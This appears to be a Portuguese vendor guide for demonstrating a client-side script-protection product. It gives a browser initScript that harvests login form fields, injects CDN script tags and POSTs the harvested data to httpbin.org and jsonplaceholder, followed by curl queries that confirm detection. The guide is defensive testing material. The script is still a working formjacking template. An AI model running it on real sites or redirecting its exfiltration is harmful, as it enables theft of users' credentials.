Pular para o conteúdo

Fase 2 — Ataque

A Fase 2 gera tráfego de ataque simulado contra a aplicação protegida e confirma que o CSD o detectou. A Fase 1 deve estar completa — todas as verificações da Etapa 7 com status APROVADO — antes de prosseguir.

Após a infraestrutura ser verificada (todas as verificações da Etapa 7 da Fase 1 com status APROVADO), execute os scripts de simulação de ataque para gerar detecções do CSD. Os scripts estão definidos no guia Acionar Detecção e na Biblioteca de Scripts de Ataque.

Assistentes de IA com ferramentas de automação de navegador executam a simulação de ataque de forma programática:

  1. Navegar com initScript — primeiro navegue para about:blank para garantir um contexto de documento limpo (evita initScripts obsoletos de navegações anteriores), depois navigate_page para http://$F5XC_DOMAINNAME/#/login com um initScript que salva as referências nativas de setInterval, clearInterval, fetch e console.log antes que o zone.js as substitua, aguarda os campos do formulário de login, preenche as credenciais via o setter nativo HTMLInputElement.prototype.value e executa o Script de Detecção Combinado inline imediatamente. Use o initScript exato abaixo.
  2. Dispensar Banner de Boas-vindaspress_key com Escape para fechar o Banner de Boas-vindas. Em visitas subsequentes, o banner pode não aparecer (cookies persistidos). O diálogo de consentimento de cookies é dispensado automaticamente pela tecla Escape.
  3. Aguardar a conclusão — aguarde 10 segundos para que todos os callbacks de carregamento/erro de scripts do CDN e resoluções de promessas fetch sejam concluídos.
  4. Capturar evidênciaslist_console_messages para verificar [CSD Demo] Simulation complete e resultados de carregamento do CDN; list_network_requests filtrado por tipos script e fetch para verificar códigos de status HTTP (200/201 para sucesso, pending para requisições retidas).

initScript da Fase 2 (literal — use exatamente como está escrito):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('#email');
var passEl = document.querySelector('#password');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

Operadores sem ferramentas de automação de navegador realizam as etapas manualmente:

  1. Navegar para a página de login da aplicação protegida: http://xF5XC_DOMAINNAMEx/#/login
  2. Inserir credenciais fictícias — digite test@example.com no campo Email e P@ssword123 no campo Senha (não envie o formulário)
  3. Abrir DevTools — pressione F12 e mude para a aba Console
  4. Executar o Script de Detecção Combinado — cole o script de Acionar Detecção — Executar o Script de Simulação Combinado no console e pressione Enter
  5. Verificar a saída do console — confirme que a saída em fases [CSD Demo] exibe: coleta de campos do formulário, injeção de script a partir de 4 domínios CDN e exfiltração de dados para 2 endpoints
SinalComportamentoDetecção
Coleta de campos do formulárioLê os valores dos campos de email e senhaScripts lendo campos de formulário sensíveis — sinalizados como Alto Risco
Injeção de scriptInjeta 4 tags <script> de cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.ioAté 4 novos domínios de script de terceiros detectados (disponibilidade do CDN pode variar)
Exfiltração de dadosEnvia dados coletados via fetch para www.httpbin.org e jsonplaceholder.typicode.comChamadas de rede para domínios externos

O assistente de IA deve relatar o seguinte. Para execução automatizada por IA, as evidências são capturadas de forma programática via list_console_messages (a função de polling do initScript registra os resultados no console). Para execução manual, o operador lê a saída do console do navegador.

VerificaçãoEsperadoStatus
Página de login carregada200 OK em http://$F5XC_DOMAINNAME/#/loginAPROVADO / REPROVADO
Script do console executado[CSD Demo] Simulation complete na saída do consoleAPROVADO / REPROVADO
Campos coletadosContagem > 0 na saída do consoleAPROVADO
Scripts injetados1–4 domínios CDN na saída do console (alguns podem falhar com erros de recursos)APROVADO se qualquer domínio CDN aparecer
Canais de exfiltração2 tentativas de fetch POST na saída do consoleAPROVADO

Consulte os endpoints da API do CSD para confirmar que as detecções apareceram. Use o loop de polling: consulte /detected_domains a cada 60 segundos; prossiga assim que DET-3 for aprovado. Se DET-3 não for aprovado após 10 minutos, verifique a configuração do CSD. Se DET-3 não for aprovado após 30 minutos, interrompa e reporte ao operador. Esses endpoints estão documentados na Referência da API e usam a mesma autenticação e namespace das etapas anteriores.

Consulte os scripts detectados nas últimas 24 horas:

Terminal window
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s -X POST \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
-H "Content-Type: application/json" \
-d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \
| jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'
CampoEsperadoStatus
total> 0 (scripts detectados)APROVADO se > 0; PENDENTE se 0, mas /detected_domains mostrar domínios de exfiltração
Nomes de scriptsInclui domínios CDN (cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io) em script_nameAPROVADO se domínios CDN injetados aparecerem
Terminal window
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \
| jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'
CampoEsperadoStatus
total_domains> 0APROVADO se > 0
Lista de domíniosInclui domínios CDN e de exfiltraçãoAPROVADO se os domínios esperados aparecerem
Terminal window
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \
| jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'
CampoEsperadoStatus
total> 0APROVADO se > 0; PENDENTE se 0, mas DET-3 for aprovado
nameInclui email, passwordAPROVADO se campos sensíveis aparecerem
sensitivitySensitive para campos de email/senhaAPROVADO se o ML classificar corretamente

Após todas as consultas de detecção, apresente o status final de detecção:

ID do TesteVerificaçãoStatus
DET-1Scripts detectados (endpoint /scripts)APROVADO se > 0; PENDENTE se vazio, mas DET-3 for aprovado
DET-2Domínios CDN detectadosAPROVADO / REPROVADO
DET-3Domínios de exfiltração detectados (/detected_domains)Indicador principal — APROVADO se www.httpbin.org ou jsonplaceholder.typicode.com aparecerem
DET-4Campos de formulário detectados (endpoint /formFields)APROVADO se > 0; PENDENTE se vazio, mas DET-3 for aprovado

Fase 2 concluída. Prossiga para Fase 3 — Mitigar para aplicar regras de mitigação e verificar se os domínios estão bloqueados.